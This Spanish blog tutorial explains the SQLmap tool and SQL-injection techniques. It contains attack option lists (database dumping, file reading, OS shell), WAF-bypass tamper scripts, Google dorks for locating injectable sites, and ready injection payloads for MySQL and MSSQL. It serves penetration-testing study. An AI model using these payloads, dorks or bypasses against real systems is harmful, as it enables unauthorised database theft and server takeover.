• Ir al contenido
  • Ir a la navegación
  • Ir al buscador
 
Portada Boludo
ING English
Directorio WAP para móvil, Tablet, iPhone o Smartphone

Centro de Noticias de la Universidad de Oriente

Categorías

 

Inicio  |  Contacto  |  Posts  |  TIENDA PUBLISHOP  |  Sobre nosotros  |  Registro y Planes  |  Pagos  |  Donaciones

Ver Código QR de esta página

Campaña #AyudemosaYuli  |  Campaña #AyudemosaStephany.  |  ¿Interesado(a) en cursos y resolución de ejercicios de materias prácticas? Para más información, contáctenos por: Teléfono: +58 (412) - 8226575. WhatsApp y Telegram: +58 (426) - 6836955 o escriba al correo: [email protected]. Únete al grupo: SISTEMAS (UDOMO).

[»] **Musica para tu celular

WEB TRANSLATOR

LINK for English Language

Use this link for translate into English


+ Buscar en BolUDO

 

Tutorial - Manual SQLmap: ataques SQLi - Inyección SQL

Tweet
 

martes junio 28, 2016

SQLmap es una de las herramienta más conocidas para hacer ataques SQLi (SQL Injection) escrita en Python. SQLmap se encarga de realizar peticiones a los parámetros de una URL que se le indiquen, ya sea mediante una petición GET, POST, en las cookies, etc. Es capaz de explotar todo tipo de SQLi como union-base, time-base-blind, base-blind-injection, heavy-queries, etc.




SQL Injection es una técnica de ataque a paginas o aplicaciones, que intenta inyectar código SQL dentro de la aplicación destino, para acceder a información sensible. Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una base de datos.


Permite realizar de manera automática 6 técnicas de ataques:

  • boolean-based blind
  • time-based blind
  • error-based
  • UNION query
  • stacked queries
  • out-of-band
El operador UNION se utiliza en las inyecciones SQL para unirse a una consulta, deliberadamente forjada por el consultor, a la consulta original. El resultado de la consulta realizada se unirá al resultado de la consulta original, permitiendo que el consultor obtener los valores de los campos de otras tablas.

Blind SQLi o Ataque a ciegas por SQLi es otro método o alternativa a la tradicional SQLi, es utilizada cuando la web no tira ningún tipo de error ya que los webmasters han quitado la o desactivado el SHOW_WARNINGS y SHOW_ERRORS que son los encargados de imprimir errores en pantalla cada vez que se hace una petición errónea a la base de datos pero si podemos comprobar datos por medio de verdaderos o falsos y a lo largo de este paper veremos a que se refiere con esos verdaderos y falsos. El nombre Blind SQLi o SQLi a ciegas hace referencia a que los nombres de las tablas y demás datos que saquemos, lo haremos adivinándolo ya que no mostrara ningún error en pantalla.

  • Time based injection  - Inyección basado en el tiempo
  • Blind injection  - Inyección a ciegas.
  • Error based injection - Inyección en base a error
  • Normal injection - Inyección normal o ordinaria.

Técnicas

  • Boolean-based blind: se basa en una técnica que intenta extraer información carácter a carácter, insertando tras la consulta válida una consulta de tipo SELECT que comprobará si el carácter solicitado se corresponde con el carácter almacenado en la BD.
  • Time-based blind: utilizando un principio similar a la técnica anterior, esta vez la consulta SELECT introduce un delay en la BD que solo se ejecutará en el caso de que se cumpla la condición que posteriormente le permitirá al atacante obtener una respuesta de válido o inválido gracias a las esperas en la presentación de los resultados.
  • Error-based: esta técnica permite obtener información directamente de la información de error no controlada devuelta por la BD en la web atacada.
  • UNION query-based: se basa en añadir una consulta que empiece con UNION ALL SELECT, revelando información sensible solo si la aplicación web vuelca toda la información devuelta por la BD en la página web atacada.
  • Stacked queries: funcional solo en aquellos casos en los que la aplicación web permite la ejecución múltiple de consultas (separadas por ‘;’), y aprovecha esta funcionalidad para añadir todo tipo de consultas de ataque después de la consulta válida enviada.

SQLmap tiene soporte para distintos motores de base de datos:

  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB

SQLmap permite automatizar ataques de inyección de SQL como SQLNinja


Los comandos se agrupan según categorías:

  • Target
  • Request
  • Optimization
  • Injection
  • Detection
  • Techniques
  • Fingerprint
  • Enumeration
  • Brute force
  • User-defined function injection
  • File system access
  • Operating system access
  • Windows registry access
  • General 
  • Miscellaneous.

 

 

 Tutorial -  Manual Uso básico SQLmap


Errores:

http://www.elhacker.net/noticia.php?id=1'



  • --dbms=mysql
[..] Error: You have an error in your SQL syntax [..] 
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [..] 
  • --dbms=mssql
Microsoft OLE DB Provider for ODBC Drivers error [..] 
Server Error in ‘/’ Application. Unclosed quotation mark before the character string [..]
  • --dbms=orcale
java.sql.SQLException: ORA-00933: SQL command not properly ended at [..]

Requisitos - Dependencias


  • Python 2.6 o 2.7 (no funciona con 3.0)
  • gzip
  • ssl
  • sqlite3
  • zlib
Instalación clonando el repositorio git

git clone git://github.com/sqlmapproject/sqlmap.git
cd sqlmap

Uso:
python sqlmap.py [opciones]

  • --url  url  (-u) con la variable vulnerable ejemplo elhacker.net/noticia.php?id=1
  • -p (buscar otra variable vunlerable) elhacker.net/noticia.php?id=1&user
  • --data si hay un formulario GET,POST los campos vulnerables
  • --level=n cinco niveles según dificultad
  • --dbs listar las bases de datos
  • --dbms  motor de la base de datos (MySQL,SQL Server ,etc)
  •  -D indicamos la base de datos a utilizar (-Database)
  •  --tables mostrar las tablas disponibles 
  • -t nombre de la tabla --columns
  • --dump vuelca resultados, mostrar contenido de las tablas
  • -C (Columnas) columnas a mostrar
  • --wizard ejecuta un asistente
  •  --threads=n número de procesos (por defecto 1)
  • --delay=n segundos de espera entre peticiones http
  • --current-db base de datos que está usando actualmente
  • --current-user ver usuario que está ejecutando
  • --is-dba –current-db ver si el usuario es el dba de la BD
  • --privileges ver los privilegios del usuario (alter, create, drop, execute)
  • --file-read path (ruta) leer ficheros
  • --sql-shell obtener una sql en shell
  • --os-shell obtener shell en el servidor (asp es la 1, aspx 2, jsp 3, php 4) (si se poseen los suficientes privilegios y un FPD (Full Path Disclosure)
  •  --headers= cabeceras del navegador
  • --random-agent cabeceras del navegador aleatorias
  • --time-sec= Segundos para retrasar la respuesta de DBMS (por defecto 5)
  • ---technique= : Se utiliza para seleccionar la técnica que se va a utilizar en la inyección ( B - E - U - S - T - Q.) Boolean-based, Error-based, Union, Stacked querys, Time-based, Inline queries
  • --flush-session
- Si el SQLi es Blind Boolean Based , se especifica con una "B"
- Si el SQLi es Error Based/Double Query , se especifica con una "E"
- Si el SQLi es Union Based , se especifica con una "U"
- Si el SQLi es Stacked querys , se especifica con una "S"
- Si el SQLi es Time Based , se especifica con una "T"
- Si el SQLi es Inline queries , se especifica con una "Q"
  • --forms si queremos que busque automáticamente los campos de formularios
  • --proxy= usar servidor proxy 
  • --sql-query añadir consulta sql
  • --tamper= scripts ofuscación y bypass (ejemplo space2mysqlblank.py, charencode.py, base64encode.py, randomcomments.py, etc)
  • --chek-tor ---> User Tor Anonymity Network
  • --tor-port ---> Set Tor proxy port other than default
  • --tor-type ---> Set Tor proxy type (HTTP (default ), SOCKS4 or SOCKS5)
Listado completo  en la documentación oficial:

  • https://github.com/sqlmapproject/sqlmap/wiki/Usage
Descargar Cheatsheet para SQLMap  cortesía de SecurityByDefault:


SQLMap compara la página sin ningún tipo inyección con la página con la inyección y en función de la variación entre ellas devuelve True o False (True si supera determinado ratio y False en el caso contrario). 

Los siguientes carácteres pueden ser usados después de la inyección SQL:

# Hash comment
/* C-style comment
-- - SQL comment
; Nullbyte
` Backtick

Saber la versión del servidor SQL:

Enumeración.

Con SQLMap:

  • --all
  • -b o --banner (versión)
  • --current-user
  • --current-db
  • --hostname 


VERSION()
@@VERSION
@@GLOBAL.VERSION

Información relevante:

@@HOSTNAME
UUID() --> MAC address
Condicionales

CASE
IF()
IFNULL()
NULLIF()
Leyendo ficheros:

Con SQLMap:

  • --file-read=
  • --file-write=
  • --file-dest=

LOAD_FILE()
INTO OUTFILE/DUMPFILE 

Ofuscación (Evadiendo filtros)

09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space
 Carácteres admitidos después del AND/OR

20 Space
2B +
2D -
7E ~
21 !
40 @

 Google Dorks 


  • -g GOOGLEDORK


Ejemplos:

inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id=
inurl:trainers.php?id= inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id=
inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID=
inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?=
inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id= inurl:material.php?id= inurl:category.php?id=
inurl:event.php?id= inurl:opinions.php?id= inurl:publications.php?id=
inurl:product-item.php?id= inurl:announce.php?id= inurl:fellows.php?id=
inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id=
inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id=
inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id= inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id= inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category= inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID= inurl:art.php?idm= inurl:ray.php?id=
inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id=
inurl:declaration_more.php?decl_id= inurl:news_view.php?id= inurl:pop.php?id=
inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id=
inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id= inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id= inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id= inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id= inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id= inurl:kategorie.php4?id= inurl:theme.php?id=
inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id= inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id=
inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.php?ID=
inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num= inurl:opinions.php?id= inurl:channel_id=
inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id=
inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id=
inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id=
inurl:news.php?id= inurl:participant.php?id= inurl:avd_start.php?avd= inurl:download.php?id= inurl:event.php?id= inurl:main.php?id= inurl:product-item.php?id= inurl:review.php?id= inurl:sql.php?id= inurl:chappies.php?id= inurl:material.php?id= inurl:read.php?id= inurl:clanek.php4?id= inurl:prod_detail.php?id= inurl:announce.php?id= inurl:viewphoto.php?id= inurl:chappies.php?id= inurl:article.php?id= inurl:read.php?id= inurl:person.php?id= inurl:viewapp.php?id= inurl:productinfo.php?id= inurl:viewphoto.php?id= inurl:showimg.php?id= inurl:rub.php?idr= inurl:view.php?id= inurl:galeri_info.php?l= inurl:website.php?id= 

Bypass de WAF (Web Aplication Firewall) / IDS

Algunos scripts que nos permite de cierta forma poder realizar un bypass a ciertos WAF/IDS como mod_security o suhosing. De esta manera podemos ocultar el playload. Estos scripts pertenecen a la herramienta SQLmap y se encuentran en la carpeta Tamper.

  • --tamper : Se utiliza para seleccionar el tipo de manipulación que se efectuará a la inyección por parte del script que se selecciona a continuación.
  • apostrophemask.py
  • percentage.py
  • apostrophenullencode.py
  • randomcase.py
  • appendnullbyte.py
  • randomcomments.py
  • base64encode.py
  • securesphere.py
  • between.py
  • space2comment.py
  • bluecoat.py
  • space2dash.py
  • chardoubleencode.py
  • space2hash.py
  • charencode.py 
  • space2morehash.py
  • charunicodeencode.py
  • space2mssqlblank.py
  • concat2concatws.py
  • space2mssqlhash.py
  • equaltolike.py
  • space2mysqlblank.py
  • greatest.py
  • space2mysqldash.py
  • halfversionedmorekeywords.py
  • space2plus.py
  • ifnull2ifisnull.py
  • space2randomblank.py
  • __init__.py
  • sp_password.py
  • lowercase.py
  • unionalltounion.py
  • modsecurityversioned.py
  • unmagicquotes.py
  • modsecurityzeroversioned.py
  • versionedkeywords.py
  • multiplespaces.py
  • versionedmorekeywords.py
  • nonrecursivereplacement.py

Por ejemplo el tamper "space2morehash.py" cambian en la "URL encoded" las funciones CHAR(), USER(), CONCAT() por FUNCTION%23randomText%0A()

 space2hash.py, space2mysqlblank.py pueden ser usados cuando el motor es MySQLy charunicodeencode.py, percentage.py opara ofuscar el playload en motores ASP/ASP.NET

El script charencode nos puede ser muy útil cuando atacamos un sitio web protegido por un WAF,el cual tiene prohido el ingreso de ciertas palabras como puede ser el caso de columns_name, table_name, group_concat, etc.
  • -v : Es para seleccionar el nivel de esfuerzo por parte de la herramienta : 0-6 (por defecto toma el valor de 1)
  • --batch : Sirve para que el usuario no tenga la necesidad de ingresar cualquier dato una vez iniciado las inyecciones(Se obvia el ingreso de Y/N).
  • --risk : Riesgo de pruebas que se desee realizar (0-3, por defecto toma el valor de 1)
  • --level : Nivel de pruebas que desee realizar (1-5, por defecto toma el valor de 1)

Payloads

Los payloads se encuentran en formato xml: ejemplo de plantilla xml/payloads.xml


https://github.com/sqlmapproject/sqlmap/blob/master/xml/payloads.xml

Boolean based
999999 or 1=1 or 1=1
' or 1=1 or '1'='1
" or 1=1 or "1"="1
999999) or 1=1 or (1=1
') or 1=1 or ('1'='1
") or 1=1 or ("1"="1
999999)) or 1=1 or ((1=1
')) or 1=1 or (('1'='1
")) or 1=1 or (("1"="1
999999))) or 1=1 or (((1
'))) or 1=1 or ((('1'='1
"))) or 1=1 or ((("1"="1
Time-based MySQL

(select benchmark(15000000,md5(0x4e446b6e))-9999) as test
benchmark(15000000,md5(0x4e446b6e))-9999
9999' or benchmark(15000000,md5(0x4e446b6e)) or '0'='9999
9999" or benchmark(15000000,md5(0x4e446b6e)) or "0"="9999
SQL Server (mssql)

(select count(*) from sysusers as sys1,sysusers as sys2,sysusers as sys3,sysusers as sys4,sysusers as sys5,sysusers as sys6,sysusers as sys7) as test
(select count(*) from sysusers as sys1,sysusers as sys2,sysusers as sys3,sysusers as sys4,sysusers as sys5,sysusers as sys6,sysusers as sys7)
9999'+(select count(*) from sysusers as sys1,sysusers as sys2,sysusers as sys3,sysusers as sys4,sysusers as sys5,sysusers as sys6,sysusers as sys7)+'9999
9999"+(select count(*) from sysusers as sys1,sysusers as sys2,sysusers as sys3,sysusers as sys4,sysusers as sys5,sysusers as sys6,sysusers as sys7)+"9999

Sqlmap plugin for BurpSuite

Cuando auditamos un sitio web lo primero que solemos hacer es poner un proxy intermedio para tener más control sobre lo que enviamos a éste. Por diversos motivos utilizo el BurpSuite como proxy.
¿No creéis que sería genial que cuando estamos auditando un sitio podamos redirigir una URL o petición concreta directamente al sqlmap con un simple click de ratón? Sí, ¿verdad? Eso creo yo también. Por esto he desarrollado este plugin, para poder hacer justamente esto.

Descarga:
http://blog.buguroo.com/?p=2471&lang=es


Entradas relacionadas:
  • Curso de Metasploit Framework
  • XSSF - Cross Site Scripting Framework
  • BackBox Linux 4.4 para realizar Pentesting
— @bolUDOoficial

— Síguenos en Twitter@bolUDOoficial

Categorías: #Web, #


[0] Atrás | Directorio
« Inicio

Apps Infoudo
Apps Infoudo ¡Descarga el icono directo en el menú de tu equipo!
[»] Las mejores Apps para tu celular
[»] Imágenes Gratis


Comenta o lee lo que otros opinan

COMPÁRTELO:

Indica que te gusta y comparte

Me Gusta :)Facebook Tuiteame :)Twitter .WhatsApp .Telegram . LinkedIn


También te puede interesar:

Páginas recientes sobre Windows, internet y la publicación web
Principales redes y servicios de afiliados de internet en español
Los mejores directorios y agregadores de blogs en español
Lista de directorios de artículos de internet
Donde publicar contenido en internet, los directorios de artículos
Como aumentar las visitas y popularidad de un blog, página o sitio web en internet
Como publicar, escribir, subir artículos y contenido a internet
Como crear un logo y un favicon para un blog o sitio web
Como crear un Sitemap o Mapa del sitio para un blog o sitio web
Obtener más ingresos con la publicidad de AdSense, consejos y trucos

Ver Todas Las Páginas Relacionadas

« Importar archivo “.sql” desde la consola mysql  |  Modelado de amenazas web »
 
Apps Infoudo
 
Buscador:
Powered by Google:


Web móvil
Imágenes
La Web

 

Síguenos por RSS


Puedes leerlos mediante el navegador Firefox, lectores de noticias en la computadora o el móvil o usando el servicio de Feedburner de Google para recibir las notificaciones por correo electrónico.
RSS - Suscribirse usando Feedburner de Google

email Recibir las nuevas publicaciones de Boludo por email

Atom


»Ir a URL
.....
Registra Gratis Tu Negocio
....
Sugerir un nuevo sitio WAP

...
¡Bloguea Ya!

..
Registro de Profesionales(Abogados, escritores, doctores, licenciados, ingenieros, etc.)
.
Soporte

Síguenos en las redes sociales

Síguenos en Facebook facebook.com/boludooficial Síguenos en Twitter @bolUDOoficial Síguenos en Instagram @boludooficial Síguenos en Telegram t.me/Boludooficial
Síguenos en WhatsApp BolUDOoficial Síguenos en YouTube youtube.com/@boludo.oficial
Síguenos en Facebook facebook.com/SergioAlemanFans Síguenos en Twitter @SergioAleman1 Síguenos en Instagram @sergioalemanfans
Síguenos en WhatsApp wa.me/qr/Y7Q232VLZPR5O1 Síguenos en Tiktok @sergioalemanoficial Síguenos en Tiktok @sergioalemanfans
Síguenos en Telegram t.me/SergioAlemanOficial Síguenos en YouTube youtube.com/@sergioaleman
Síguenos en Facebook facebook.com/INFOUDO.OFICIAL Síguenos en Twitter @infoudomon Síguenos en Instagram @infoudooficial Síguenos en Telegram t.me/Infoudooficial
Síguenos en Facebook facebook.com/tuinfou Síguenos en Twitter @infoudomonagas
Síguenos en WhatsApp INFO UDO Síguenos en YouTube youtube.com/@infoudooficial

Mis cuentas sociales

FB
Twitter
Pinterest
Instagram
Canales RSS con las últimas publicaciones
Otras  |  Linktree

Móvil: (0426 683 6955 - 0412 8226575) - E-mail: [email protected] - [email protected] - WhatsApp: +58 (0426) 683.69.55 / +58 (0412) 822.65.75


Copyscape
Volver arriba

Protocolo  |  Mapa del Sitio  |  Report Abuse - DMCA  |  Términos y Condiciones  |  Ayuda  |  Privacidad de Datos  |  Política de Cookies  |  Reportar un bug  |  Licencia: CC BY-NC-ND 3.0

Copyright ©2023 Boludo. Todos los derechos reservados. Diseñado, desarrollado, administrado y mantenido por Sergio Alemán Mi perfil en GitHub


SUBIR